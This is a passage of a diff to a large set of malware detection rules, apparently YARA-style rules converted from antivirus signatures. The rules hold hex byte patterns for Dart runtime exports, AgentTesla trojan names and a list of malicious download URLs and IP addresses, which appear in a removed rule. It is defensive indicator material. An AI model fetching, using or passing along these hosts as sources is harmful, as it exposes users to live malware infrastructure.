6b 01 00 1a 01 44 61 72 74 5f 53 65 74 48 65 61 70 53 61 6d 70 6c 69 6e 67 50 65 72 69 6f 64 01 00 1a 01 44 61 72 74 5f 53 65 74 49 6e 74 65 67 65 72 52 65 74 75 } //29797 䵥摯晩敩䍤污扬捡ūᨀ䐁牡彴敓䡴慥印浡汰湩偧牥潩Ťᨀ䐁牡彴敓䥴瑮来牥敒畴 + $a_61_41 = {75 65 01 00 19 01 44 61 72 74 5f 53 65 74 4c 69 62 72 61 72 79 54 61 67 48 61 6e 64 6c 65 72 01 00 1d 01 44 61 72 74 5f 53 65 74 4d 65 73 73 61 67 65 4e 6f 74 69 66 79 43 61 6c 6c 62 61 63 6b 01 00 1b 01 44 61 72 74 5f 53 65 74 4e 61 74 69 76 65 49 6e 73 74 } //28274 + $a_65_42 = {69 65 6c 64 01 00 16 01 44 61 72 74 5f 53 65 74 4e 61 74 69 76 65 52 65 73 6f 6c 76 65 72 01 00 14 01 44 61 72 74 5f 53 65 74 50 61 75 73 65 64 4f 6e 45 78 69 74 01 00 15 01 44 61 72 74 5f 53 65 74 50 61 75 73 65 64 4f 6e 53 74 61 72 74 01 00 17 01 44 61 72 74 5f 53 65 74 50 65 72 66 6f 72 6d 61 } //28257 + $a_4d_43 = {64 65 01 00 18 01 44 61 72 74 5f 53 65 74 50 65 72 73 69 73 74 65 6e 74 48 61 6e 64 6c 65 01 00 13 01 44 61 72 74 5f 53 65 74 52 65 74 75 72 6e 56 61 6c 75 65 01 00 13 01 44 61 72 74 5f 53 65 74 52 6f 6f 74 4c 69 62 72 61 72 79 01 00 1e 01 44 61 72 74 5f 53 65 74 53 65 72 76 69 63 65 53 74 72 65 61 6d } //25454 + $a_6c_44 = {61 63 6b 73 01 00 19 01 44 61 72 74 5f 53 65 74 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 45 78 69 74 01 00 1a 01 44 61 72 74 5f 53 65 74 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 53 74 61 72 74 01 00 13 01 44 61 72 74 5f 53 65 74 53 74 69 63 6b 79 45 72 72 6f 72 01 00 12 01 44 61 72 74 5f 53 65 74 54 68 72 65 61 64 4e 61 6d 65 } //24899 + $a_01_45 = {44 61 72 74 5f 53 65 74 54 69 6d 65 6c 69 6e 65 52 65 63 6f 72 64 65 72 43 61 6c 6c 62 61 63 6b } //1 Dart_SetTimelineRecorderCallback + $a_01_46 = {44 61 72 74 5f 53 65 74 56 4d 46 6c 61 67 73 } //1 Dart_SetVMFlags + $a_01_47 = {44 61 72 74 5f 53 65 74 57 65 61 6b 48 61 6e 64 6c 65 52 65 74 75 72 6e 56 61 6c 75 65 } //1 Dart_SetWeakHandleReturnValue + $a_01_48 = {44 61 72 74 5f 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 45 78 69 74 } //1 Dart_ShouldPauseOnExit + $a_01_49 = {44 61 72 74 5f 53 68 6f 75 6c 64 50 61 75 73 65 4f 6e 53 74 61 72 74 } //1 Dart_ShouldPauseOnStart + $a_01_50 = {44 61 72 74 5f 53 68 75 74 64 6f 77 6e 49 73 6f 6c 61 74 65 } //1 Dart_ShutdownIsolate + $a_01_51 = {44 61 72 74 5f 53 6f 72 74 43 6c 61 73 73 65 73 } //1 Dart_SortClasses + $a_01_52 = {44 61 72 74 5f 53 74 61 72 74 50 72 6f 66 69 6c 69 6e 67 } //1 Dart_StartProfiling + $a_01_53 = {44 61 72 74 5f 53 74 6f 70 50 72 6f 66 69 6c 69 6e 67 } //1 Dart_StopProfiling + $a_01_54 = {44 61 72 74 5f 53 74 72 69 6e 67 47 65 74 50 72 6f 70 65 72 74 69 65 73 } //1 Dart_StringGetProperties + $a_01_55 = {44 61 72 74 5f 53 74 72 69 6e 67 4c 65 6e 67 74 68 } //1 Dart_StringLength + $a_01_56 = {44 61 72 74 5f 53 74 72 69 6e 67 53 74 6f 72 61 67 65 53 69 7a 65 } //1 Dart_StringStorageSize + $a_01_57 = {44 61 72 74 5f 53 74 72 69 6e 67 54 6f 43 53 74 72 69 6e 67 } //1 Dart_StringToCString + $a_01_58 = {44 61 72 74 5f 53 74 72 69 6e 67 54 6f 4c 61 74 69 6e 31 } //1 Dart_StringToLatin1 + $a_01_59 = {44 61 72 74 5f 53 74 72 69 6e 67 54 6f 55 54 46 31 36 } //1 Dart_StringToUTF16 + $a_01_60 = {44 61 72 74 5f 53 74 72 69 6e 67 54 6f 55 54 46 38 } //1 Dart_StringToUTF8 + $a_01_61 = {44 61 72 74 5f 54 68 72 65 61 64 44 69 73 61 62 6c 65 50 72 6f 66 69 6c 69 6e 67 } //1 Dart_ThreadDisableProfiling + $a_01_62 = {44 61 72 74 5f 54 68 72 65 61 64 45 6e 61 62 6c 65 50 72 6f 66 69 6c 69 6e 67 } //1 Dart_ThreadEnableProfiling + $a_01_63 = {44 61 72 74 5f 54 79 70 65 64 44 61 74 61 41 63 71 75 69 72 65 44 61 74 61 } //1 Dart_TypedDataAcquireData + $a_01_64 = {44 61 72 74 5f 54 79 70 65 64 44 61 74 61 52 65 6c 65 61 73 65 44 61 74 61 } //1 Dart_TypedDataReleaseData + $a_01_65 = {44 61 72 74 5f 55 70 64 61 74 65 45 78 74 65 72 6e 61 6c 53 69 7a 65 } //1 Dart_UpdateExternalSize + $a_01_66 = {44 61 72 74 5f 55 70 64 61 74 65 46 69 6e 61 6c 69 7a 61 62 6c 65 45 78 74 65 72 6e 61 6c 53 69 7a 65 } //1 Dart_UpdateFinalizableExternalSize + $a_01_67 = {44 61 72 74 5f 56 65 72 73 69 6f 6e 53 74 72 69 6e 67 } //1 Dart_VersionString + $a_01_68 = {44 61 72 74 5f 57 61 69 74 46 6f 72 45 76 65 6e 74 } //1 Dart_WaitForEvent + $a_01_69 = {44 61 72 74 5f 57 72 69 74 65 48 65 61 70 53 6e 61 70 73 68 6f 74 } //1 Dart_WriteHeapSnapshot + $a_01_70 = {44 61 72 74 5f 57 72 69 74 65 50 72 6f 66 69 6c 65 54 6f 54 69 6d 65 6c 69 6e 65 } //1 Dart_WriteProfileToTimeline + $a_e4_71 = {00 16 00 16 00 1a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 49 5a 21 4d 54 42 00 01 00 9f 00 20 00 34 00 31 00 20 00 34 00 37 00 20 00 34 00 36 00 20 00 33 00 39 00 20 00 37 00 32 00 20 00 32 00 42 00 20 00 34 00 31 00 20 00 35 00 32 00 20 00 34 00 44 00 20 00 34 00 39 00 20 00 34 00 46 00 20 00 34 00 } //0 + $a_00_72 = {33 00 34 00 20 00 34 00 31 00 20 00 34 00 31 00 20 00 34 00 31 00 20 00 34 00 31 00 20 00 36 00 } //52 34 41 41 41 41 6 + $a_00_73 = {34 00 31 00 20 00 35 00 31 00 20 00 34 00 31 00 20 00 34 00 31 00 20 00 34 00 31 00 20 00 35 00 } //55 41 51 41 41 41 5 + $a_00_74 = {33 00 34 00 20 00 34 00 46 00 20 00 34 01 00 56 80 01 34 42 20 34 41 20 34 44 20 34 32 20 34 31 } //48 + $a_20_75 = {39 20 36 36 20 34 39 20 35 33 20 34 33 20 34 31 20 34 31 20 34 31 20 34 31 20 34 31 20 34 39 20 34 44 20 33 34 20 34 31 20 34 31 20 34 31 20 34 31 } //13344 9 66 49 53 43 41 41 41 41 41 49 4D 34 41 41 41 41 + $a_20_76 = {38 20 35 31 20 34 31 20 34 31 20 34 33 01 00 56 80 01 35 38 20 35 31 20 34 31 20 34 31 20 34 33 20 36 45 20 35 30 20 35 33 20 34 31 20 34 31 20 34 31 20 34 42 20 34 37 20 34 32 20 36 33 20 34 33 20 34 42 20 34 } //13856 + $a_33_77 = {34 31 20 34 31 20 34 31 20 36 46 20 35 41 20 33 32 20 36 38 20 36 33 20 36 46 20 36 44 01 00 56 80 01 34 31 20 34 31 20 36 46 20 37 31 20 34 31 20 34 36 20 33 34 } //8248 + $a_20_78 = {31 20 36 39 20 35 39 20 35 37 20 34 31 20 35 30 20 33 34 20 34 41 20 34 31 20 34 31 20 34 34 20 32 42 20 34 33 20 35 31 20 34 35 20 34 31 20 32 46 20 } //14112 1 69 59 57 41 50 34 4A 41 41 44 2B 43 51 45 41 2F + $a_36_79 = {20 34 33 20 34 31 01 00 56 80 01 34 31 20 34 31 20 34 31 20 34 31 20 34 31 20 34 31 20 34 39 20 } //14134 + $a_37_80 = {20 36 37 20 34 31 20 34 31 20 34 32 20 36 41 20 36 37 20 37 30 20 34 31 20 34 31 20 34 31 20 34 } //17974 67 41 41 42 6A 67 70 41 41 41 4 + $a_41_81 = {36 39 20 34 31 20 34 35 20 34 31 20 34 31 20 34 31 20 34 31 20 34 46 01 00 56 80 01 34 32 20 36 37 20 34 31 20 34 31 20 34 31 20 36 45 20 37 33 20 37 33 20 } //8241 + $a_34_82 = {20 34 31 20 34 35 20 34 33 20 36 39 20 34 31 20 34 41 20 34 31 20 34 31 20 34 31 20 34 31 20 34 } //12596 41 45 43 69 41 4A 41 41 41 41 4 + $a_41_83 = {37 37 20 34 31 20 34 31 20 34 31 20 34 31 20 34 31 20 34 31 01 00 56 80 01 34 31 20 34 31 20 34 33 20 33 34 20 34 31 20 35 31 20 34 31 20 34 31 20 34 42 20 } //8262 + $a_34_84 = {20 34 32 20 34 31 20 34 31 20 35 39 20 36 46 20 36 46 20 35 31 20 34 35 20 34 31 20 34 32 20 36 } //16948 42 41 41 59 6F 6F 51 45 41 42 6 + $a_30_85 = {34 32 20 34 31 20 35 31 20 34 31 20 34 31 20 34 41 01 00 56 80 01 34 31 20 34 33 20 36 38 20 36 34 20 34 31 20 34 31 20 34 31 20 34 42 20 34 36 20 36 38 20 35 39 20 } //8257 + $a_34_86 = {20 34 38 20 36 33 20 34 31 20 34 31 20 34 31 20 36 46 20 34 33 20 34 42 20 34 42 20 35 35 20 34 } //13108 48 63 41 41 41 6F 43 4B 4B 55 4 + $a_31_87 = {34 31 20 35 39 20 36 39 20 34 31 01 00 56 80 01 34 31 20 34 31 20 34 31 20 34 31 20 34 46 20 34 32 20 36 36 20 32 42 20 32 46 20 32 46 20 33 38 20 34 31 20 } //8242 + $a_36_88 = {20 34 31 20 34 31 20 34 31 20 34 35 20 36 46 20 37 32 20 34 31 20 36 39 20 35 39 20 35 37 20 32 } //16948 41 41 41 45 6F 72 41 69 59 57 2 + $a_37_89 = {36 42 20 34 31 20 34 31 01 00 56 80 01 34 31 20 34 31 20 34 31 20 35 34 20 34 44 20 34 31 20 34 39 20 34 31 20 34 35 20 37 37 20 34 31 20 34 31 20 34 31 20 34 31 } //8262 + $a_20_90 = {31 20 34 31 20 34 32 20 34 35 20 37 32 20 34 31 20 36 39 20 35 39 20 35 37 20 34 31 20 34 31 20 34 41 20 33 37 20 35 33 01 00 56 80 01 32 46 20 32 46 20 32 46 20 32 } //13856 + $a_46_91 = {34 43 20 35 38 20 32 46 20 32 46 20 32 46 20 33 38 20 34 31 20 34 31 20 34 31 20 34 44 20 34 42 20 34 46 20 34 31 20 37 33 20 34 31 20 34 31 20 34 31 20 34 } //8262 4C 58 2F 2F 2F 38 41 41 41 4D 4B 4F 41 73 41 41 41 4 + $a_44_92 = {34 39 20 34 31 20 35 35 20 34 31 20 34 31 01 00 56 80 01 34 46 20 34 45 20 34 38 20 32 46 20 32 46 20 32 46 20 33 38 20 34 33 20 36 35 20 33 30 20 36 46 20 34 31 } //8241 + $a_20_93 = {31 20 35 31 20 35 31 20 34 31 20 35 31 20 34 31 20 34 33 20 34 31 20 33 33 20 33 31 20 34 45 20 34 31 20 34 31 20 34 31 20 34 35 20 34 46 01 00 56 } //13344 + $a_31_94 = {36 45 20 37 34 20 34 42 20 34 31 20 34 31 20 34 31 20 34 35 20 36 32 20 34 36 20 37 33 20 34 33 20 34 42 20 34 39 20 34 31 20 34 31 20 34 31 20 34 31 20 37 } //384 6E 74 4B 41 41 41 45 62 46 73 43 4B 49 41 41 41 41 7 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*15376+(#a_00_2 & 1)*144+(#a_74_3 & 1)*-32767+(#a_85_4 & 1)*795+(#a_90_6 & 1)*-32000+(#a_04_7 & 1)*400+(#a_fb_9 & 1)*-30205+(#a_45_10 & 1)*3843+(#a_04_11 & 1)*-28659+(#a_02_12 & 1)*-28563+(#a_04_13 & 1)*-28439+(#a_01_14 & 1)*13322+(#a_00_15 & 1)*400+(#a_01_16 & 1)*13312+(#a_c1_17 & 1)*257+(#a_45_18 & 1)*516+(#a_01_19 & 1)*-28539+(#a_f2_20 & 1)*0+(#a_01_21 & 1)*-28430+(#a_01_22 & 1)*912+(#a_0f_24 & 1)*7168+(#a_01_25 & 1)*0+(#a_85_26 & 1)*796+(#a_03_27 & 1)*-32757+(#a_90_29 & 1)*21896+(#a_00_30 & 1)*110+(#a_00_32 & 1)*84+(#a_00_33 & 1)*57+(#a_00_34 & 1)*114+(#a_00_36 & 1)*101+(#a_00_37 & 1)*106+(#a_00_39 & 1)*101+(#a_00_41 & 1)*112+(#a_00_43 & 1)*47+(#a_00_45 & 1)*47+(#a_00_46 & 1)*112+(#a_00_48 & 1)*49+(#a_00_49 & 1)*112+(#a_00_51 & 1)*105+(#a_00_52 & 1)*115+(#a_00_53 & 1)*99+(#a_68_55 & 1)*14848+(#a_00_57 & 1)*115+(#a_00_58 & 1)*115+(#a_00_59 & 1)*101+(#a_68_61 & 1)*15872+(#a_00_63 & 1)*115+(#a_00_64 & 1)*116+(#a_00_65 & 1)*114+(#a_00_67 & 1)*111+(#a_61_68 & 1)*29541+(#a_74_69 & 1)*28270+(#a_65_70 & 1)*8308+(#a_65_71 & 1)*27745+(#a_6e_72 & 1)*26996+(#a_44_73 & 1)*9984+(#a_65_74 & 1)*24436+(#a_61_75 & 1)*28524+(#a_73_76 & 1)*29806+(#a_65_77 & 1)*25205+(#a_54_78 & 1)*25964+(#a_61_79 & 1)*27756+(#a_74_80 & 1)*21343+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1) >=1 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*15376+(#a_00_2 & 1)*144+(#a_74_3 & 1)*-32767+(#a_85_4 & 1)*795+(#a_90_6 & 1)*-32000+(#a_04_7 & 1)*400+(#a_fb_9 & 1)*-30205+(#a_45_10 & 1)*3843+(#a_04_11 & 1)*-28659+(#a_02_12 & 1)*-28563+(#a_04_13 & 1)*-28439+(#a_01_14 & 1)*13322+(#a_00_15 & 1)*400+(#a_01_16 & 1)*13312+(#a_c1_17 & 1)*257+(#a_45_18 & 1)*516+(#a_01_19 & 1)*-28539+(#a_f2_20 & 1)*0+(#a_01_21 & 1)*-28430+(#a_01_22 & 1)*912+(#a_0f_24 & 1)*7168+(#a_01_25 & 1)*0+(#a_85_26 & 1)*796+(#a_03_27 & 1)*-32757+(#a_90_29 & 1)*21896+(#a_74_30 & 1)*26739+(#a_69_31 & 1)*24940+(#a_20_32 & 1)*27713+(#a_74_34 & 1)*24900+(#a_73_35 & 1)*30065+(#a_63_36 & 1)*27756+(#a_61_37 & 1)*288+(#a_74_38 & 1)*21343+(#a_72_39 & 1)*17409+(#a_69_40 & 1)*29797+(#a_61_41 & 1)*28274+(#a_65_42 & 1)*28257+(#a_4d_43 & 1)*25454+(#a_6c_44 & 1)*24899+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_e4_71 & 1)*0+(#a_00_72 & 1)*52+(#a_00_73 & 1)*55+(#a_00_74 & 1)*48+(#a_20_75 & 1)*13344+(#a_20_76 & 1)*13856+(#a_33_77 & 1)*8248+(#a_20_78 & 1)*14112+(#a_36_79 & 1)*14134+(#a_37_80 & 1)*17974+(#a_41_81 & 1)*8241+(#a_34_82 & 1)*12596+(#a_41_83 & 1)*8262+(#a_34_84 & 1)*16948+(#a_30_85 & 1)*8257+(#a_34_86 & 1)*13108+(#a_31_87 & 1)*8242+(#a_36_88 & 1)*16948+(#a_37_89 & 1)*8262+(#a_20_90 & 1)*13856+(#a_46_91 & 1)*8262+(#a_44_92 & 1)*8241+(#a_20_93 & 1)*13344+(#a_31_94 & 1)*384) >=1 } -rule _InfrastructureShared_20575{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 1e 00 21 " - - strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 48 30 31 21 4d 54 42 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 37 00 31 00 2e 00 30 00 2e 00 32 00 30 00 30 00 2f 00 6d 00 } //18467 - $a_00_1 = {68 00 65 00 6e 00 67 00 2f 00 0a 00 3a 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 31 00 38 00 33 00 2e 00 31 00 31 00 38 00 2e 00 33 00 30 00 2f 00 54 00 48 00 41 00 4e 00 4f 00 53 00 2f 00 0a 00 3c 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 } //114 - $a_00_3 = {6e 00 65 00 74 00 2f 00 54 00 70 00 76 00 61 00 6f 00 62 00 61 00 76 00 79 00 2f 00 0a 00 3e 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 } //110 - $a_00_4 = {69 00 6c 00 65 00 62 00 69 00 6e 00 2e 00 6e 00 65 00 74 00 2f 00 41 00 77 00 70 00 7a 00 65 00 7a 00 68 00 6f 00 70 00 6c 00 2f 00 0a 00 30 01 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 31 00 33 00 2e 00 31 00 39 00 39 00 2e 00 34 00 31 00 2e 00 33 00 33 00 2f 00 72 00 71 00 2f 00 0a 00 60 01 68 00 } //47 - $a_00_5 = {70 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 65 00 72 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 0a 00 6a 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 } //116 - $a_00_6 = {72 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 73 00 2e 00 6f 00 72 00 67 00 2f 00 42 00 61 00 73 00 65 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 2f 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 } //121 - $a_00_8 = {65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 70 00 64 00 66 00 90 00 0a 00 43 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 62 00 61 00 6c 00 69 00 6b 00 65 00 73 00 69 00 72 00 6d 00 61 00 73 00 61 00 6a 00 2e 00 78 00 79 00 7a 00 2f 00 90 02 28 2e 00 64 00 61 } //105 - $a_03_10 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6e 00 65 00 78 00 6f 00 70 00 72 00 6f 00 64 00 75 00 63 00 63 00 69 00 6f 00 6e 00 65 00 73 00 2e 00 63 00 6c 00 2f 00 [0-28] 2e 00 70 00 64 00 66 00 } //10 - $a_01_11 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 65 00 6d 00 69 00 73 00 61 00 74 00 2e 00 63 00 6f 00 6d 00 2e 00 75 00 79 00 2f 00 63 00 6c 00 69 00 2f 00 } //10 https://remisat.com.uy/cli/ - $a_01_12 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 37 00 2e 00 31 00 35 00 30 00 2e 00 31 00 39 00 2e 00 31 00 34 00 31 00 2f 00 73 00 74 00 75 00 62 00 2f 00 } //10 http://107.150.19.141/stub/ - $a_01_13 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 69 00 6e 00 76 00 65 00 73 00 74 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 61 00 6c 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 5f 00 64 00 6f 00 6f 00 72 00 73 00 2f 00 69 00 6d 00 67 00 2d 00 66 00 69 00 6c 00 65 00 73 00 2f 00 } //10 https://ainvestinternational.com/wp_doors/img-files/ - $a_01_14 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 34 00 35 00 2e 00 31 00 32 00 36 00 2e 00 32 00 30 00 39 00 2e 00 35 00 37 00 2f 00 64 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2f 00 } //10 http://45.126.209.57/dropbox/ - $a_01_15 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 6e 00 76 00 65 00 73 00 74 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6e 00 73 00 75 00 72 00 61 00 6e 00 63 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 73 00 73 00 75 00 65 00 6e 00 63 00 65 00 2f 00 6c 00 69 00 74 00 65 00 73 00 6f 00 6c 00 69 00 64 00 43 00 68 00 61 00 2f 00 } //10 https://investdirectinsurance.com/assuence/litesolidCha/ - $a_01_16 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 34 00 2e 00 31 00 39 00 34 00 2e 00 31 00 34 00 33 00 2e 00 33 00 39 00 2f 00 62 00 6f 00 6f 00 6b 00 73 00 2f 00 } //10 http://104.194.143.39/books/ - $a_01_17 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 61 00 64 00 74 00 74 00 65 00 6d 00 70 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 2f 00 4f 00 66 00 41 00 53 00 5a 00 2f 00 } //10 https://transfer.adttemp.com.br/OfASZ/ - $a_01_18 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 31 00 2e 00 39 00 32 00 2e 00 32 00 35 00 34 00 2e 00 31 00 37 00 38 00 2f 00 73 00 61 00 70 00 68 00 69 00 72 00 65 00 2f 00 } //10 http://91.92.254.178/saphire/ - $a_01_19 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 39 00 36 00 2e 00 31 00 37 00 32 00 2e 00 31 00 36 00 36 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2f 00 } //10 http://172.96.172.166/download/ - $a_01_20 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 69 00 6d 00 67 00 2f 00 } //10 https://wymascensores.com/img/ - $a_01_21 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 65 00 72 00 76 00 65 00 78 00 2f 00 } //10 https://wymascensores.com/servex/ - $a_01_22 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 79 00 6d 00 61 00 73 00 63 00 65 00 6e 00 73 00 6f 00 72 00 65 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 } //10 https://wymascensores.com/panel/ - $a_01_23 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 65 00 6f 00 63 00 73 00 2e 00 6d 00 78 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://geocs.mx/wp-includes/ - $a_01_24 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 6c 00 61 00 79 00 73 00 74 00 6f 00 72 00 65 00 6d 00 65 00 74 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://playstoremeta.com/wp-includes/ - $a_01_25 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 72 00 6b 00 61 00 73 00 65 00 72 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 75 00 75 00 72 00 65 00 77 00 2f 00 } //10 https://erkasera.com/ruurew/ - $a_01_26 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 33 00 2e 00 37 00 32 00 2e 00 35 00 37 00 2e 00 31 00 32 00 30 00 2f 00 54 00 47 00 49 00 46 00 2f 00 } //10 http://103.72.57.120/TGIF/ - $a_01_27 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6f 00 6c 00 65 00 6f 00 6e 00 69 00 64 00 61 00 73 00 2e 00 67 00 72 00 2f 00 65 00 70 00 73 00 69 00 6e 00 2f 00 } //10 https://www.oleonidas.gr/epsin/ - $a_01_28 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 6e 00 65 00 77 00 2e 00 65 00 76 00 65 00 6e 00 74 00 61 00 77 00 61 00 72 00 64 00 73 00 72 00 75 00 73 00 73 00 69 00 61 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2d 00 69 00 6e 00 63 00 6c 00 75 00 64 00 65 00 73 00 2f 00 } //10 https://www.new.eventawardsrussia.com/wp-includes/ - $a_01_29 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 64 00 72 00 31 00 36 00 38 00 39 00 39 00 2e 00 79 00 64 00 6e 00 73 00 2e 00 65 00 75 00 2f 00 31 00 2f 00 31 00 32 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 00 } //10 http://dr16899.ydns.eu/1/12/panel/uploads/ - condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*114+(#a_00_3 & 1)*110+(#a_00_4 & 1)*47+(#a_00_5 & 1)*116+(#a_00_6 & 1)*121+(#a_00_8 & 1)*105+(#a_03_10 & 1)*10+(#a_01_11 & 1)*10+(#a_01_12 & 1)*10+(#a_01_13 & 1)*10+(#a_01_14 & 1)*10+(#a_01_15 & 1)*10+(#a_01_16 & 1)*10+(#a_01_17 & 1)*10+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*10+(#a_01_22 & 1)*10+(#a_01_23 & 1)*10+(#a_01_24 & 1)*10+(#a_01_25 & 1)*10+(#a_01_26 & 1)*10+(#a_01_27 & 1)*10+(#a_01_28 & 1)*10+(#a_01_29 & 1)*10) >=10 - -} -rule _InfrastructureShared_20576{ +rule _InfrastructureShared_21799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 49 00 21 " @@ -266121,7 +281606,7 @@ rule _InfrastructureShared_20576{ ((#a_5f_0 & 1)*25635+(#a_2e_1 & 1)*28009+(#a_54_2 & 1)*18945+(#a_61_3 & 1)*8303+(#a_74_4 & 1)*28514+(#a_61_5 & 1)*298+(#a_65_6 & 1)*29029+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 